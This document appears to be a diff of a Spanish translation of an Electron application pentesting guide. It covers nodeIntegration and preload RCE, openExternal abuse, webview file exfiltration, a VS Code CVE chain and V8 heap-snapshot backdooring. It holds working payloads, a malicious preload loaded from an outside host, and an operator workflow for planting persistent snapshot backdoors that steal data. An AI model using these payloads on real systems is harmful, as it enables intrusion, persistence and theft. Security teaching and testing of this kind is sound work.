- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Node Integration in Workers
- Integración de Node en Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **Node.js APIs** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
@ -97,7 +97,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capturar tráfico
Modifica la configuración de start-main y añade el uso de un proxy como:
Modifica la configuración start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
@ -112,7 +112,7 @@ Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que
## RCE: XSS + nodeIntegration
Si la **nodeIntegration** está en **on**, el JavaScript de una página web puede usar las funcionalidades de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la manera de ejecutar la aplicación calc en Windows es:
Si la **nodeIntegration** está configurada en **on**, el javascript de una página web puede usar características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
El script indicado en esta configuración es l**cargado antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -153,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation
La _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Si los contextos no están aislados, un atacante puede:
Si los contextos no están aislados un atacante puede:
1. Ejecutar **arbitrary JavaScript in renderer** (XSS o navegación a sitios externos)
2. **Overwrite the built-in method** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Trigger** el uso de **overwritten function**
1. Ejecutar **JavaScript arbitrario en renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método integrado** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Provocar** el uso de la **función sobrescrita**
4. ¿RCE?
Hay 2 lugares donde los métodos built-in pueden ser sobrescritos: en preload code o en el código interno de Electron:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@ -181,7 +181,7 @@ electron-contextisolation-rce-via-ipc.md
### Bypass click event
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías poder eludirlas **doing a middle click** en lugar de un left click regular
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías poder evitarlas **haciendo clic con el botón central** en lugar de un clic izquierdo regular
```javascript
window.addEventListener('click', (e) => {
```
@ -189,24 +189,24 @@ window.addEventListener('click', (e) => {
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, asegurar la configuración correcta de `nodeIntegration` y `contextIsolation` es crucial. Se ha establecido que **client-side remote code execution (RCE)** dirigida a preload scripts o al código nativo de Electron desde el main process queda efectivamente prevenido con estas configuraciones.
Al desplegar una aplicación de escritorio Electron, asegurar la configuración correcta de `nodeIntegration` y `contextIsolation` es crucial. Está demostrado que la **ejecución remota de código del lado del cliente (RCE)** dirigida a preload scripts o al código nativo de Electron desde el main process queda efectivamente prevenida con estos ajustes.
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se disparan event listeners específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan listeners de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Estos manejadores de eventos son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
These listeners are **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Here is a simplified pseudocode:**
**Aquí hay un pseudocódigo simplificado:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Las mejores prácticas de seguridad de Electron JS aconsejan no aceptar contenido no fiable con la función `openExternal`, ya que podría conducir a RCE a través de diversos protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
Las prácticas recomendadas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de diversos protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, puede consultarse [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, por ejemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Ejemplos de exploits de protocolos de Windows incluyen:**
```html
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vuln se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Esta vulnerabilidad se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, la cual debería estar deshabilitada ya que permite cargar un script dentro del **preload context** como:
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, por lo que debe desactivarse ya que permite cargar un script dentro del preload context como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Este preload script fue entonces aprovechado para invocar un **servicio IPC vulnerable (`skype-new-window`)** que llamaba a **`shell.openExternal`** para obtener RCE:
Este preload script fue abusado entonces para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que llamaba **`shell.openExternal`** para obtener RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Lectura de archivos internos: XSS + contextIsolation
**Deshabilitar `contextIsolation` permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, para leer y exfiltrating archivos locales. Un ejemplo muestra cómo exploit esta vulnerabilidad para leer el contenido de archivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Further, another method for **reading an internal file** is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:
Además, se comparte otro método para **lectura de un archivo interno**, que resalta una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para exploit la aplicación y exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
@ -273,21 +273,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Chromium antiguo**
Si el **chromium** que usa la aplicación es **antiguo** y existen **vulnerabilidades** conocidas en él, podría ser posible **explotarlo y obtener RCE mediante una XSS**.\
Si el **chromium** usado por la aplicación es **antiguo** y hay **conocidas** **vulnerabilities** en él, podría ser posible to **exploit** it and obtain RCE through a XSS.\
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing vía bypass de regex de URL interna**
## **XSS Phishing vía bypass de regex de URL internas**
Suponiendo que encontraste una XSS pero **no puedes desencadenar RCE ni robar archivos internos**, podrías intentar usarla para **robar credenciales mediante phishing**.
Suponiendo que encontraste un XSS pero **no puedes desencadenar RCE ni robar archivos internos** podrías intentar usarlo para **robar credenciales vía phishing**.
Antes que nada necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
Primero necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **link** será **abierto** en la **ventana de escritorio** ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
En el caso de que la **regex** usada por la función sea **vulnerable to bypasses** (por ejemplo **not escaping the dots of subdomains**), un atacante podría abusar del XSS para **open a new window which** esté ubicada en la infraestructura del atacante **asking for credentials** al usuario:
En el caso de que la **regex** usada por la función sea **vulnerable to bypasses** (por ejemplo al **no escapar los puntos de los subdominios**) un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protocolo
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** tienen acceso unilateral a todos los archivos de tu máquina, lo que significa que **los problemas de XSS pueden usarse para cargar archivos arbitrarios** desde la máquina del usuario. Usar un **protocolo personalizado** previene problemas como este, ya que puedes limitar el protocolo a servir solo un conjunto específico de archivos.
## Módulo Remote
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
El Remote module de Electron permite que **los procesos renderer accedan a las APIs del proceso principal**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este módulo introduce riesgos significativos de seguridad. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de cross-site scripting (XSS).
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> Aunque el módulo **remote** expone algunas APIs del main al renderer, no es sencillo lograr RCE solo abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.
> [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
> Muchas apps que aún usan el remote module lo hacen de forma que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **enorme riesgo de seguridad**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Desde Electron 14 el módulo `remote` de Electron puede habilitarse mediante varios pasos; por razones de seguridad y rendimiento, se **recomienda no usarlo**.
To enable it, it'd first needed to **enable it in the main process**:
Para habilitarlo, primero es necesario **habilitarlo en el proceso principal**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -324,31 +324,31 @@ Entonces, el proceso renderer puede importar objetos del módulo así:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remote:
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
- **`app.relaunch([options])`**
- **Reinicia** la aplicación **cerrando** la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
- **Reinicia** la aplicación saliendo de la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** o **crea** un directorio para almacenar los **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **Define** o **crea** un directorio para almacenar los **logs de la app**. Los logs se pueden **recuperar** o **modificar** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** el ejecutable actual como el **manejador por defecto** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **`app.setUserTasks(tasks)`**
- **Añade** tareas a la **categoría Tasks** en el **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
- **Agrega** tareas a la categoría **Tasks** en el **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
- **`app.importCertificate(options, callback)`**
- **Importa** un **certificado PKCS#12** en el **almacén de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **Importa** un certificado **PKCS#12** en el almacén de certificados del sistema (**solo Linux**). Se puede usar un **callback** para manejar el resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Mueve** la aplicación a la **Applications folder** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
- **Mueve** la aplicación a la **carpeta Applications** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
- **`app.setJumpList(categories)`**
- **Establece** o **elimina** un **Jump List** personalizado en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
- **`app.setLoginItemSettings(settings)`**
- **Configura** qué **ejecutables** se inician al **inicio de sesión** junto con sus **opciones** (solo macOS y Windows).
- **Configura** qué **ejecutables** se lanzan al iniciar sesión junto con sus **opciones** (solo macOS y Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## módulo systemPreferences
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** son todos **parte de** este módulo.
@ -368,32 +368,32 @@ console.log('Recent Places:', recentPlaces);
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escucha** notificaciones nativas de macOS usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, se podían sniffear **todas** las distributed notifications pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las apps sandboxed todavía pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notifications **por nombre**.
* Antes de **macOS Catalina**, se podía sniff **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las sandboxed apps aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueo/desbloqueo de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
### **getUserDefault / setUserDefault**
* **Interactúa** con **NSUserDefaults**, que almacena preferencias **de aplicación** o **globales** en macOS.
* **Interactúa** con **NSUserDefaults**, que almacena preferencias **de la aplicación** o **globales** en macOS.
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o la **ubicación geográfica del usuario**.
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones recientes de archivos** o la **ubicación geográfica del usuario**.
* **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una app.
* **setUserDefault** puede **modificar** estas preferencias, potencialmente afectando la **configuración** de una app.
* En **versiones antiguas de Electron** (antes de v8.3.0), solo la **standard suite** de NSUserDefaults era **accesible**.
* En **versiones antiguas de Electron** (antes de v8.3.0), sólo la **suite estándar** de NSUserDefaults era **accesible**.
## Shell.showItemInFolder
This function whows the given file in a file manager, which **could automatically execute the file**.
Esta función muestra el archivo dado en un file manager, lo que **podría ejecutar automáticamente el archivo**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Las apps de Electron deberían tener una **Content Security Policy (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **evitar** la **ejecución** de **código no confiable** en el navegador.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Normalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **meta tag**.
For more information check:
Para más información consulta:
{{#ref}}
@ -403,22 +403,22 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Esta cadena real afectó a Visual Studio Code 1.63 (CVE-2021-43908) y demuestra cómo un único XSS inducido por markdown en un webview puede escalarse a RCE completo cuando CSP, postMessage y los manejadores de scheme están mal configurados. PoC público: https://github.com/Sudistark/vscode-rce-electrovolt
Esta cadena real afectó a Visual Studio Code 1.63 (CVE-2021-43908) y demuestra cómo un solo XSS impulsado por markdown en un webview puede escalarse a RCE completo cuando CSP, postMessage y los manejadores de scheme están mal configurados. PoC pública: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Resumen de la cadena de ataque
- Primera XSS vía webview CSP: La CSP generada incluía `style-src 'self' 'unsafe-inline'`, permitiendo inyección basada en inline/estilos en un contexto `vscode-webview://`. El payload beaconed a `/stealID` para exfiltrar el extensionId del webview objetivo.
- Construcción de la URL del webview objetivo: Usando el leaked ID para construir `vscode-webview://<extensionId>/.../<publicUrl>`.
- Segundo XSS vía confianza en postMessage: El webview externo confiaba en `window.postMessage` sin comprobaciones estrictas de origen/tipo y cargó HTML del atacante con `allowScripts: true`.
- Carga de archivos locales mediante reescritura de scheme/ruta: El payload reescribió `file:///...` a `vscode-file://vscode-app/...` y sustituyó `exploit.md` por `RCE.html`, abusando de la débil validación de rutas para cargar un recurso local privilegiado.
- RCE en contexto con Node habilitado: El HTML cargado se ejecutó con las APIs de Node disponibles, resultando en ejecución de comandos del SO.
Ejemplo de primitiva de RCE en el contexto final
Ejemplo de primitiva RCE en el contexto final
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Lectura relacionada sobre problemas de confianza en postMessage:
Lectura relacionada sobre problemas de confianza de postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -426,9 +426,9 @@ Lectura relacionada sobre problemas de confianza en postMessage:
## **Herramientas**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar misconfiguraciones y anti-patrones de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de VS Code de código abierto para aplicaciones Electron que usa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para buscar bibliotecas de terceros vulnerables
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y antipatterns de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para comprobar bibliotecas de terceros vulnerables
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo
## Laboratorios
@ -458,20 +458,20 @@ cd vulnerable1
npm install
npm start
```
## Backdoor local mediante manipulación de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
## Backdoor local mediante manipulación de snapshots del heap de V8 (Electron/Chromium) – CVE-2025-55305
Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los fuses de integridad de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar el snapshot en una instalación escribible por el usuario proporcionaba ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los fuses de integridad de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar el snapshot en una instalación con permisos de escritura por parte del usuario proporcionaba ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Puntos clave
- Brecha de integridad: EnableEmbeddedAsarIntegrityValidation y OnlyLoadAppFromAsar validan el JavaScript de la app dentro del ASAR, pero no cubrían los V8 heap snapshots (CVE-2025-55305). Chromium igualmente no verifica la integridad de los snapshots.
- Precondiciones del ataque: Escritura de archivos local en el directorio de instalación de la app. Esto es común en sistemas donde las apps Electron o los navegadores Chromium se instalan en rutas escribibles por el usuario (p. ej., %AppData%\Local en Windows; /Applications con salvedades en macOS).
- Efecto: Ejecución fiable de JavaScript del atacante en cualquier isolate al sobreescribir un builtin de uso frecuente (un “gadget”), permitiendo persistencia y evasión de la verificación de code-signing.
- Superficie afectada: Apps Electron (incluso con fuses habilitados) y navegadores basados en Chromium que cargan snapshots desde ubicaciones escribibles por el usuario.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Generar un snapshot malicioso sin compilar Chromium
- Usa el prebuilt electron/mksnapshot para compilar un payload JS en un snapshot y sobrescribir el v8_context_snapshot.bin de la aplicación.
Example minimal payload (prove execution by forcing a crash)
Ejemplo de payload mínimo (demostrar ejecución forzando un crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -485,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Enrutamiento consciente del Isolate para payloads (ejecutar código distinto en main vs. renderer)
- Detección del proceso main: globales exclusivos de Node como process.pid, process.binding() o process.dlopen están presentes en el isolate del proceso main.
- Detección browser/renderer: globales exclusivos del browser como alert están disponibles cuando se ejecuta en un contexto de documento.
Enrutamiento de payload consciente del isolate (ejecutar código distinto en main vs. renderer)
- Detección del proceso main: Los globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso main.
- Detección navegador/renderer: Los globales exclusivos del navegador como alert están disponibles cuando se ejecuta en un contexto de documento.
Ejemplo de gadget que explora una vez las capacidades de Node en el proceso main
Ejemplo de gadget que sondea las capacidades de Node del proceso main una vez
```js
const orig = Array.isArray;
@ -518,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC de robo de datos en Renderer/browser-context (p. ej., Slack)
PoC de exfiltración de datos del renderer/contexto del navegador (p. ej., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -543,30 +543,26 @@ return orig(...arguments);
};
```
Flujo de trabajo del operador
1) Escribe payload.js que sobrescriba una función integrada común (por ejemplo, Array.isArray) y, opcionalmente, ramifique por isolate.
1) Escribe payload.js que clobbers un builtin común (p. ej., Array.isArray) y, opcionalmente, bifurque por isolate.
2) Construye el snapshot sin las fuentes de Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Sobrescribe el/los archivo(s) snapshot de la aplicación objetivo:
3) Sobrescribe los archivos snapshot de la aplicación objetivo:
- v8_context_snapshot.bin (siempre usado)
- browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Lanza la aplicación; el gadget se ejecuta cada vez que se usa la función integrada elegida.
4) Inicia la aplicación; el gadget se ejecuta siempre que se use el builtin elegido.
Notas y consideraciones
- Bypass de integridad/firmas: Los archivos snapshot no son tratados como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario normalmente sobrevive a reinicios de la app y parece una aplicación legítima y firmada.
- Chromium browsers: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
- Evasión de integridad/firmas: Los archivos snapshot no son tratados como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario típicamente sobrevive a reinicios de la app y parece una aplicación legítima y firmada.
- Navegadores Chromium: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
Detection and mitigations
- Trata los snapshots como contenido ejecutable e inclúyelos en la aplicación de integridad (fix CVE-2025-55305).
- Prefiere ubicaciones de instalación que solo sean escribibles por admin; establece una línea base y monitoriza los hashes de v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
- Detecta la sobrescritura temprana de funciones integradas y cambios inesperados en snapshots; alerta cuando los snapshots deserializados no coincidan con los valores esperados.
Detección y mitigaciones
- Tratar los snapshots como contenido ejecutable e incluirlos en las comprobaciones de integridad (CVE-2025-55305 fix).
- Preferir ubicaciones de instalación escribibles solo por administrador; establecer línea base y monitorizar los hashes de v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
- Detectar sobrescritura temprana de builtins en tiempo de ejecución y cambios inesperados en snapshots; alertar cuando los snapshots deserializados no coincidan con los valores esperados.
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
